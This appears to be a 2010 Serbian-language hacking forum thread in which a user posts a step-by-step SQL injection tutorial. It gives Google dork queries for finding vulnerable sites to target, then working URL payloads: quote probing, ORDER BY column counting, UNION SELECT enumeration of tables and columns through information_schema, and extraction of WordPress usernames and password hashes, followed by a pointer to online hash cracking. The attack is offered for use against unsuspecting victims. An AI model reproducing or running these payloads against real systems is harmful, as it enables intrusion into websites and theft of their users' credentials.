SQL injection

Pogledaj prethodnu temu Pogledaj sledeću temu Ići dole

SQL injection

Počalji  Dark_Dante taj Sub Feb 20, 2010 11:55 am

TUT SQL injection TUT
______________________
*Sta je SQL injection?
SQL injection je vrsta napada,koju napadacu dozvoljava da radi sta hoce sa stranicom zrtve... Ako vas vise zanima o ovoj vrsti napada (SQL) googlaje pa ce te naci veliki broj informacija, da vas ja ne bih smarao Smile
____
Za ovu vrstu napada potrebno je malo vise vremena,strpljenja,zivaca.
Kako da nadjemo zrtvu?
Potrebna vam je dork lista za trazenje ranjivih sajtova.Ja cu vam dati neke od njih:

allinurl:game.php?id=
allinurl:view_product.php?id=
allinurl:newsone.php?id=
allinurl:sw_comment.php?id=
allinurl:news.php?id=
allinurl:avd_start.php?avd=
allinurl:event.php?id=

Google ce vam otvoriti listu sajtova koji su ranjivi,udjite na neki od njih.
Recimo usli ste na http://www.nekisajt.com/members.php?id=12
e sad kako proveriti da li je taj sajt ranjih..Jednostavno,na kraju URL adrese upisati (magic quote) '
to bi izgledalo ovako :
http://www.nekisajt.com/members.php?id=12'
i kada pritisnete enter trebalobi da dobijete poruku slicnu ovoj:

Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
mySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1)

Ako dobijete bilo kakav error ili praznu staranicu znajte da je sajt ranjiv.

Sada kada znamo da je sajt ranjiv idemo na sledece korak.
Moramo da otkrijemo koliko taj sajt ima kolona.
Da bi i to saznali moramo da koristimo ORDER BY
to bi sada trebalo da izgleda ovako:

http://www.nekisajt.com/members.php?id=12 order by 1 (nema error)
http://www.nekisajt.com/members.php?id=12 order by 2 (nema error)
http://www.nekisajt.com/members.php?id=12 order by 3 (nema error)
http://www.nekisajt.com/members.php?id=12 order by 4 ( error)

sve sto treba je da redjamo brojeve sve dok ne dobijemo neki error.
Taj error bi trebalo da izgleda ovako

Error : Unknown column '4' in 'order clause'
mySQL Error: 1054 (Unknown column '4' in 'order clause')

To znaci da ovaj sajt ima 3 kolone.
Sada kada znamo koliko sajt ima kolona,prelazimo na drugu radnju.Koristicemo - i UNION SELECT komandu
primer:
http://www.nekisajt.com/members.php?id=12 union select 1,2,3--
i pritisni enter
trebalo bi da ti se pokazu brojevi koji izgledaju ovako:

2

3

E sada kada smo to uspesno uradili moramo da saznamo koja je MySQL verzija.
Kako sad to Smile
Jednostavno,umesto nekih brojeva koji su prikazani u proslom koraku (
http://www.nekisajt.com/members.php?id=12 union select 1,2,3--)treba staviti version() izmedju nekog broja
npr:
http://www.nekisajt.com/members.php?id=12 union select 1,version(),3--

i kao rezultat toga,trebalo bi da dobijemo MySql verziju:

5.0.67-community (recimo kao ova)

Ako je MySQL verzija ispod 5, onda cemo morati da pogadjamo imena kolona i tabela.
Najcesca imena tabela su: user, users, admin, admins, login, korisnici
Najcesca imena kolona su: username, password, user, pass, lozinka, korisnik


Kada smo to uradili koristicemo string group_concat(table_name) umesto version()
to bi trebalo da izgleda ovako:

http://www.nekisajt.com/members.php?id=12 union select 1,group_concat(table_name),3--
i jos ne pritiskajte enter...Izmedju broja 3i -- napisite sledece:
+from+information_schema.tables+where+table_schema=database()
i to bi trebalo da izgleda ovako:

http://www.nekisajt.com/members.php?id=12 union select 1,group_concat(table_name),3 +from+information_schema.tables+where+table_schema=database()--

i pritisni enter
Trebalo bi da dobije kao rezultat :

about,category,category_stat,category_sub,content,laws_day,laws_month,laws_year,​members,tbl_user,wp_ak_popularity,wp_ak_popularity_options,wp_comments,wp_links,​wp_options,wp_post2tag,wp_postmeta,wp_posts,wp_tag_synonyms,wp_tags,wp_term_rela​tionships,wp_term_taxonomy,wp_terms,wp_usermeta,wp_users

Sada kada imamo imena tabela,prelazimo na imena kolona

Koristicemo string group_concat(column_name)
Samo umesto group_concat(table_name) stavite group_concat(column_name),
ali pre toga moramo izabrati jednu tabelu. Recimo da ste uzeli wp_users, jer vam ta treba.
Za bolje rezultate treba da nadjemo hex vrednost za wp_users.
Za CONVERTE idite na ovaj link: Encoder!
Kopirajte wp_users u text box i kliknitet convert.
Sada bi trebalo da dobijete hex vrednost od wp_users, treba da izgleda ovako: 77705f7573657273

Sada trreba da zamenite group_concat(table_name) sa group_concat(column_name).
npr:
http://www.nekisajt.com/members.php?id=12 union select 1,group_concat(column_name),3 +from+information_schema.tables+where+table_schema=database()--

i obavezno zamenite +from+information_schema.tables+where+table_schema=database()--
sa +from+information_schema.columns+where+table_name=0x77705f7573657273--

0x77705f7573657273(ovo vam je broj koji ste dobili od hex hrednost od wp_users)
broj vam mozda nece biti ovakav,samo napisite broj koji ste dobili.

Sve to na kraju bi izgledalo ovako:

http://www.nekisajt.com/members.php?id=12 union select 1,group_concat(column_name),3 +from+information_schema.columns+where+table_name=0x77705f7573657273--

i pritisnite ENTER
Kao rezultat toga svega trebalo bi da dobijete poruku :

user_login,user_pass,user_nicename,user_email,user_url,user_registered,user_acti​vation_key,user_status,display_name

Sada cemo koristiti 0x3a da bi dobili zeljene informacije iz MySQL baze (username,pass)
Samo zamenite
Zamenite group_concat(column_name) sa group_concat(user_login,0x3a,user_pass,0x3a,user_nicename,0x3a,user_email,0x3a,u​ser_url,0x3a,user_registered,0x3a,user_activation_key,0x3a,user_status,0x3a,disp​lay_name)

Moj savet vam je da izaberete group_concat(user_login,0x3a,user_pass) jer se tu kriju najvazniji podaci iz baze..
Opet zamenite information_schema.columns+where+table_name=0x77705f7573657273-- sa +from+wp_users--

77705f7573657273 je hex vrednost za wp_users zato cemo je zameniti.

To bi trebalo da izgleda ovako:

http://www.nekisajt.com/members.php?id=12 union select 1,group_concat(user_login,0x3a,user_pass),3+from+wp_users-
i kada pritisnete enter dobicete nekakav kod.To bi trebalo da bude LOGIN INFO
Taj kod ce izgledati ovako:
nrp: jlp:sPPS1u3Um1$hI./aPngDF ( nece biti isti ovakav,jer sam ovo samo lupetao po tastaturi)
Dobili ste sifru u md5 formatu,koju cete morati da krekujete,mozete skinuti neki program za krekovanje md5 formata ili mozete uraditi online na http://md5decrypter.co.uk
i samo nalepite dobijeni hash (jlp:sPPS1u3Um1$hI./aPngDF)


AKO SAM SLUCAJNO NEGDE POGRESIO ,ISPRAVITE ME,I IZVINJAVAM SE:)

Dark_Dante

Broj poruka : 15
Lokacija : Maldives
Datum upisa : 19.02.2010

Pogledaj profil korisnika

Nazad na vrh Ići dole

Re: SQL injection

Počalji  Dark_Dante taj Sub Feb 20, 2010 3:53 pm

Naravno za sve ovo postoje i programi koji ce vam pomoci oko svega..Ali da bi bolje naucili o SQL-u bolje je raditi rucno,bez ikakvih pomagala Smile

Dark_Dante

Broj poruka : 15
Lokacija : Maldives
Datum upisa : 19.02.2010

Pogledaj profil korisnika

Nazad na vrh Ići dole

Pogledaj prethodnu temu Pogledaj sledeću temu Nazad na vrh


 
Dozvole ovog foruma:
Ne možete odgovarati na teme u ovom forumu